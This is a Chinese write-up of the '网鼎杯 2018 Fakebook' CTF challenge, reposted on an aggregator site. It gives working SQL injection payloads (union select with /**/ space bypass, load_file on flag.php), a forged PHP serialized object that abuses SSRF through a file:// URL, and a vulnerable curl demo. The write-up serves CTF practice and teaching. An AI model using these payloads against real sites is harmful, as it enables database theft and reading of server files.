[网鼎杯 2018]Fakebook1

这篇具有很好参考价值的文章主要介绍了[网鼎杯 2018]Fakebook1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

打开题目

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

第一种解法

我们先随便join一下

这里起初我的四个框都是随便填1的,但是发现注册不了,几经尝试以后发现blog那个框里面必须填一个类似什么网页的域名,例如我乱写的qqq.com,bai.com等

所以我最后乱填了个baidu.com就注册成功了

其余都是乱填1

[网鼎杯 2018]Fakebook1,数据库,sql,mysql加入成功

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

点击我们的用户名

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

发现了注入点?no=1 原因是在1后面乱加什么东西,都会对页面结果产生影响

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

 接下来我们判断列名字段数

?no=1 order by 4 # 页面正常

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

 ?no=1 order by 5 # 页面错误

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

说明列名字段数为4

 我们用联合注入查询时,发现过滤了空格,我们用/**/来绕过空格

 ?no=11 union/**/select 1,2,3,4 #

发现回显位是2

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

?no=11 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

发现username下回显了users,说明表名为users

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'  #

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

发现有no,username,passwd,data四个列名字段

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #

或者

?no=-1 union/**/select 1,concat_ws(no,username,passwd,data),3,4 from users #

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

同时我们还发现了反序列化函数

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

查看页面源代码无果后,我们访问robots.txt看看

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

/user.php.bak,访问这个

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

代码如下

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这段代码很有可能存在ssrf漏洞

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

查看页面源代码得到

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

这段对应网页的博客内容

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

而我们之前爆出来的字段正是序列化后的内容

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}

说明注册时会序列化我们的注册信息,回显到页面时再反序列化。
而这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf漏洞
修改自己最后blog字段内容,改为file:///var/www/html/flag.php,并把对应的s改为对应长度29

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

之前爆破出来的data字段在第四位,所以我们放在第四位

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

看源代码,点击data的链接,得到flag

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

 第二种解法

我们之前在爆破列名字段数时,看见了页面回显的错误信息

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

报错位置在/var/www/html/db.php

那我们是不是可以用sql数据库提供的load_file读取文件函数呢

?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #

查看页面源代码直接得到flag

[网鼎杯 2018]Fakebook1,数据库,sql,mysql

做题思路

1.判断注入点

我们发现了sql注入点?no=1,在1后面加内容可以对页面结果造成影响

2.判断列名字段数

?no=1 order by 4 # 页面正常

?no=1 order by 5 # 页面错误

说明列名字段数为4

3.爆破表名

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

知道表名为users

4.爆破列名

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'  #

爆破出来no,username,passwd,data四个列名

5.爆破数据

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #

爆破得到username列下的数据

同时发现反序列化函数unserialize()

6.访问robots.txt查看源码

在下面发现了

/user.php.bak

访问,查看源码发现了ssrf漏洞

7.查看博客的源代码

发现data所指的内容就是博客的内容,构成了一个ssrf漏洞

8.利用之前在username爆破出来的序列化数据构造payload

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}

构造payload,指向flag

/var/www/html/flag.php,利用伪协议文件包含 file:// 访问本地文件系统

并修改长度

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

9.修改data的内容,使其指向flag的链接,查看源代码即可得到flag

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

知识点:

  • 什么是ssrf

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

  • SSRF的形成原因

大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器

  • ssrf漏洞产生相关函数:
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
  • 漏洞Demo:
<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  
?>

一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

举例 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。
所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。
 

  • 反序列化函数
  • 1. serialize和unserialize函数
  • 2. json_encode 和 json_decode
  • 3. var_export 和 eval
  • 4. wddx_serialize_value 和 wddx deserialize
  • 反序列化和序列化

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;

反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。

相关文章链接见:

BUUCTF [网鼎杯 2018]Fakebook 1_buuctf fakebook 1___byb__的博客-CSDN博客

https://www.cnblogs.com/miruier/p/13907150.html文章来源地址https://www.toymoban.com/news/detail-741149.html

到了这里,关于[网鼎杯 2018]Fakebook1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • java反序列化-[网鼎杯 2020 朱雀组]Think Java——wp

    这里使用IDEA打开 可以看到这里使用了swagger进行接口的测试,并且在 /common/test/sqlDict 路径下发送了POST请求,请求参数为dbName 都是实体类,没有什么重点 可以看到他是用于数据库连接和查询的,接受Test传来的dbName值,并且已知一个数据库myapp 此时可以对 /common/test/sqlDict 路径

    2024年02月07日
    浏览(46)
  • 中国顶级CTF竞赛网络安全大赛--2022网鼎杯re2解题思路

    PEID查不出来,用了die,显示是UPX3.96的壳,用了脱壳机,脱不了,只能手动脱壳,拖入x64dbg,F9运行到程序领空,很明显的特征,push: 无脑使用ESP定律大法,对ESP下硬件访问断点: F9运行,在pop处停下: F4运行到下面第一个jmp,F8,进去又是一个jmp,继续F8,到达OEP: 使用x

    2023年04月22日
    浏览(46)
  • 【数据库原理】(32)数据库设计-数据库物理设计

    数据库的物理设计是数据库设计过程中至关重要的一个阶段。其核心目标是选择一个适合应用环境的物理结构,以满足特定的性能、存储和访问需求。这一阶段涉及的关键任务可以分为两个主要步骤: 1. 确定数据的物理结构 存储结构和存取方法的选择 :这包括决定数据在物

    2024年01月19日
    浏览(57)
  • 【数据库概论】图数据库 Vs 关系数据库(1)

    假设有一个社交网络需要用数据库存储,其中人与人之间的关系有:朋友(friend)、父母(parent) 首先用关系数据库来实现朋友关系,需要 3 张表:people、people_relation、relation 如果要查询 Jam 的所有朋友的信息,那么就需要连接三张表: 如果表的数据量较大,那么查询效率就

    2024年03月14日
    浏览(49)
  • 【数据库】数据库设计

    数据库设计面对的主要有哪些问题 (1) 懂数据库原理同时懂甲方软件专业知识的人缺少; (2) 应用的数据库系统的最终目标往往在一开始不能完全明确,与开发者与用户方最初没在要求完全一致有关; (3) 应用业务系统千差万别的,难以找到一种通用的工具和方法。 (1) 对人员

    2024年02月05日
    浏览(66)
  • 【数据库】 | 初始数据库

    🎗️ 博客新人,希望大家一起加油进步 🎗️ 乾坤未定,你我皆黑马 1、什么是数据库 存储数据用文件就可以了,为什么还要弄个数据库? 文件保存数据有以下几个缺点: 文件的安全性问题 文件不利于数据查询和管理 文件不利于存储海量数据 文件在程序中控制不方便 数据

    2023年04月23日
    浏览(57)
  • 数据库应用:数据库管理系统与安装MySQL数据库

    目录 一、理论 1.数据库管理系统 2.关系型数据库 3.数据库 4.MySQL数据库 5.MySQL部署 二、实验 1.yum安装MySQL 2.编译安装MySQL 3.配置MySQL数据库的Tab补全  三、问题 1.数据库登录报错 2.数据库密码复杂度报错 3.数据库连接报错 四、总结 (1)概念 数据库管理系统(Database Management

    2024年02月13日
    浏览(57)
  • MySQL数据库:数据库管理系统与安装MySQL数据库

    目录 一、理论 1.数据库管理系统 2.关系型数据库 3.数据库 4.MySQL数据库 5.MySQL部署 二、实验 1.yum安装MySQL 2.编译安装MySQL 3.配置MySQL数据库的Tab补全  三、问题 1.数据库登录报错 2.数据库密码复杂度报错 3.数据库连接报错 四、总结 (1)概念 数据库管理系统(Database Management

    2024年02月12日
    浏览(65)
  • 数据库优化(数据库自身的优化,数据库表优化,程序操作优化)

    1. 增加次数据文件 从SQL SERVER 2005开始,数据库不默认生成NDF数据文件,一般情况下有一个主数据文件(MDF)就够了,但是有些大型的数据库,由于信息很多,而且查询频繁,所以为了提高查询速度,可以把一些表或者一些表中的部分记录分开存储在不同的数据文件里 由于C

    2024年02月14日
    浏览(50)
  • 【数据库】数据库常用函数

    TIMESTAMPDIFF 是一个MySQL函数,用于计算两个日期或时间之间的差值。函数返回两个日期或时间之间的差值,并以指定的单位表示。 语法: 其中: unit 是计算的单位。可以是以下值:YEAR(年)、QUARTER(季度)、MONTH(月)、DAY(天)、HOUR(小时)、MINUTE(分钟)、SECOND(秒)

    2024年02月11日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包